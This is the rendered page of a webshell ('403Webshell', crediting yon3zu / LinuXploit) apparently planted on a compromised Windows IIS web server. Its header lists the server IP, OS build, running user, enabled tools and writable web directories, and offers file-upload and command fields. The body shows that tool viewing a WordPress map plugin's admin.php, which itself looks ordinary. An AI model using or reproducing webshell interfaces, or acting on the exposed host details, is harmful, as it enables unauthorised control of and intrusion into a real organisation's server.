403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /inetpub/wwwroot/ia/wp-content/plugins/mapplic-lite/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /inetpub/wwwroot/ia/wp-content/plugins/mapplic-lite/admin/admin.php
<?php
/**
 * Mapplic Lite Admin
 * Version: 1.0
 */

if (!class_exists('MapplicAdmin')) :

class MapplicAdmin {

	public function __construct() {
		// Actions
		add_action('admin_enqueue_scripts', array($this, 'enqueue_scripts_styles'));
		add_action('init', array($this, 'create_post_type'));
		add_action('manage_mapplic_map_posts_custom_column' , array($this, 'column_shortcode'), 10, 2);
		add_action('edit_form_after_editor', array($this, 'backend_map'));
		add_action('add_meta_boxes_mapplic_map', array($this, 'metaboxes'));
		add_action('in_admin_footer', array($this, 'mapplic_logo'));
		add_action('admin_menu', array($this, 'add_upgrade_page'));

		// Filters
		add_filter('upload_mimes', array($this, 'mime_types'));
		add_filter('manage_edit-mapplic_map_columns', array($this, 'add_column_shortcode'));
		add_filter('wp_insert_post_data', array($this, 'save_map'), 99, 2);

		// Includes
		include('maps.php');
		include('metaboxes.php');
	}

	public function mapplic_logo() {
		if (get_post_type() == 'mapplic_map') {
			echo '<a class="mapplic-logo" href="https://mapplic.com/?utm_source=mlite" target="_blank"><img src="' . plugins_url('../images/logo.svg', __FILE__) . '"></a><br>';
		}
	}

	public function enqueue_scripts_styles() {
		if (get_post_type() == 'mapplic_map') {
			// Disable autosave
			wp_dequeue_script('autosave');

			// Media uploader
			wp_enqueue_media();

			// Admin style
			wp_register_style('mapplic-style', plugins_url('css/mapplic-admin.css', __FILE__), false, Mapplic::$version);
			wp_enqueue_style('mapplic-admin-style', plugin_dir_url(__FILE__) . 'css/admin-style.css', array('mapplic-style'), null);
			wp_enqueue_style('alpha-color-picker', plugin_dir_url(__FILE__) . 'css/alpha-color-picker.css', array('wp-color-picker'), null);

			// Admin scripts
			wp_register_script('mousewheel', plugins_url('../js/jquery.mousewheel.js', __FILE__), false, null);
			wp_enqueue_script('mapplic-admin', plugins_url('js/mapplic-admin.js', __FILE__), array('jquery', 'mousewheel'), null, true);
			wp_enqueue_script('alpha-color-picker', plugins_url('js/alpha-color-picker.js', __FILE__), array('wp-color-picker'));
			wp_enqueue_script('mapplic-admin-script', plugins_url('js/admin-script.js', __FILE__), array('jquery', 'alpha-color-picker'), null);
			$mapplic_localization = array(
				'add' => __('Add', 'mapplic'),
				'save' => __('Save', 'mapplic'),
				'search' => __('Search', 'mapplic'),
				'not_found' => __('Nothing found. Please try a different search.', 'mapplic'),
				'map' => __('Map', 'mapplic'),
				'raw' => __('Raw', 'mapplic'),
				'missing_id' => __('Landmark ID is required and must be unique!', 'mapplic'),
				'iconfile' => plugins_url('../core/images/icons.svg', __FILE__)
			);
			wp_localize_script('mapplic-admin-script', 'mapplic_localization', $mapplic_localization);
		}
	}

	public function mime_types($mimes) {
		$mimes['svg'] = 'image/svg+xml';
		$mimes['csv'] = 'text/csv';
		return $mimes;
	}

	public function create_post_type() {
		$labels = array(
			'name' => __('Maps Lite', 'mapplic'),
			'all_items' => __('All Maps', 'mapplic'),
			'singular_name' => __('Map', 'mapplic'),
			'add_new_item' => __('Add New Map', 'mapplic'),
			'new_item' => __('New Map', 'mapplic'),
			'edit_item' => __('Edit Map', 'mapplic')
		);

		register_post_type('mapplic_map',
			array(
				'labels' => $labels,
				'show_in_menu' => true,
				'show_ui' => true,
				'hierarchical' => false,
				'menu_position' => 25,
				'menu_icon' => 'dashicons-location-alt',
				'public' => false,
				'exclude_from_search' => true,
				'show_in_nav_menus' => false,
				'has_archive' => false,
				'rewrite' => array('slug' => 'map'),
				'supports' => array ('title')
			)
		);
	}

	public function add_upgrade_page() {
		add_submenu_page(
			'edit.php?post_type=mapplic_map',
			'Upgrade Mapplic',
			'<span style="color:#F18401;">Upgrade</span>',
			'manage_options',
			'upgrade_mapplic',
			array($this, 'upgrade_page')
		);
	}

	public function upgrade_page() {
		include 'upgrade.php';
	}

	public static function activation() {
		if (!get_option('mapplic-lite-version')) {
			// First Activation
			mapplic_add_example_maps();
			add_option('mapplic-lite-version', Mapplic::$version);
		}
	}

	// Column Shortcode
	public function column_shortcode($column, $post_id) {
		if ($column == 'shortcode') echo '[mapplic id="' . $post_id . '"]';
	}

	public function add_column_shortcode($columns) {
		$new_columns = array();
		foreach ($columns as $key => $title) {
			if ($key == 'date') $new_columns['shortcode'] = __('Shortcode', 'mapplic');
			$new_columns[$key] = $title;
		}
		return $new_columns;
	}

	// Map edit
	public function backend_map($post) {
		if ($post->post_type == 'mapplic_map') {
			$mapdata = htmlentities($post->post_content, ENT_QUOTES, 'UTF-8');
			echo '<div class="mapplic-rawedit"><label class="right"><input type="checkbox" id="mapplic-indent"></input>' . __('Indent', 'mapplic') . '</label>';
			echo '<textarea name="mapplic-mapdata" id="mapplic-mapdata" rows="20" spellcheck="false">' . $mapdata . '</textarea></div>';
			$screen = get_current_screen();
			if ($screen->action != 'add') {
				// tests 

				$json = json_decode($post->post_content, true);
				//print_r($json);
				/*
				foreach ($json['levels'] as &$level) {
					foreach ($level['locations'] as &$location) {
						echo $location['id'];
					}
				}*/

				//$res = wp_json_encode($json, JSON_UNESCAPED_SLASHES);
				//echo htmlentities($res, ENT_QUOTES, 'UTF-8');
				//echo $mapdata;

				echo '<div id="mapplic-admin-map" data-mapdata="' . $mapdata . '"></div>';
				submit_button();
				echo '<input type="button" id="mapplic-editmode" class="button" value="' . __('Raw', 'mapplic') .'">';
				echo '<a href="edit.php?post_type=mapplic_map&page=upgrade_mapplic" class="button" style="margin-left: 10px;">' . __('Upgrade', 'mapplic') .'</a>';
			}
			else mapplic_new_map_type();
		}
	}

	public function metaboxes($post) {
		$screen = get_current_screen();
		if ($screen->action != 'add') {
			add_meta_box('landmark', __('Location', 'mapplic'), 'mapplic_landmark_box', 'mapplic_map', 'side', 'core');
			add_meta_box('floors', __('Floors', 'mapplic'), 'mapplic_floors_box', 'mapplic_map', 'side', 'core');
			add_meta_box('style', __('Styles', 'mapplic'), 'mapplic_styles_box', 'mapplic_map', 'side', 'core');
			add_meta_box('categories', __('Groups', 'mapplic'), 'mapplic_categories_box', 'mapplic_map', 'side', 'core');
			add_meta_box('geoposition', __('Geoposition', 'mapplic'), 'mapplic_geoposition_box', 'mapplic_map', 'side', 'core');
			add_meta_box('settings', __('Settings', 'mapplic'), 'mapplic_settings_box', 'mapplic_map', 'normal', 'core');
			remove_meta_box('submitdiv', 'mapplic_map', 'side');
		}
	}

	public function save_map($data, $postarr) {
		if (!isset($postarr['ID']) || !$postarr['ID']) return $data;
		if (($data['post_type'] == 'mapplic_map') && ($data['post_status'] != 'trash')) {
			$type = $_POST['new-map-type'];

			$json = $_POST['mapplic-mapdata'];
			$json = str_replace(chr(194) . chr(160), ' ', $json);
			$json = stripslashes($json);
			$json = json_decode($json, true);
			foreach ($json['levels'] as &$level) {
				foreach ($level['locations'] as &$location) {
					$location['description'] = addcslashes(wp_kses_post($location['description']), '"\\');
				}
			}
			$cont = wp_json_encode($json);

			if (isset($type)) $data['post_content'] = mapplic_map_type(sanitize_text_field($type)); // New
			else if (isset($_POST['mapplic-mapdata'])) $data['post_content'] = $cont;
		}
		return $data;
	}
}

endif;
?>

Youez - 2016 - github.com/yon3zu
LinuXploit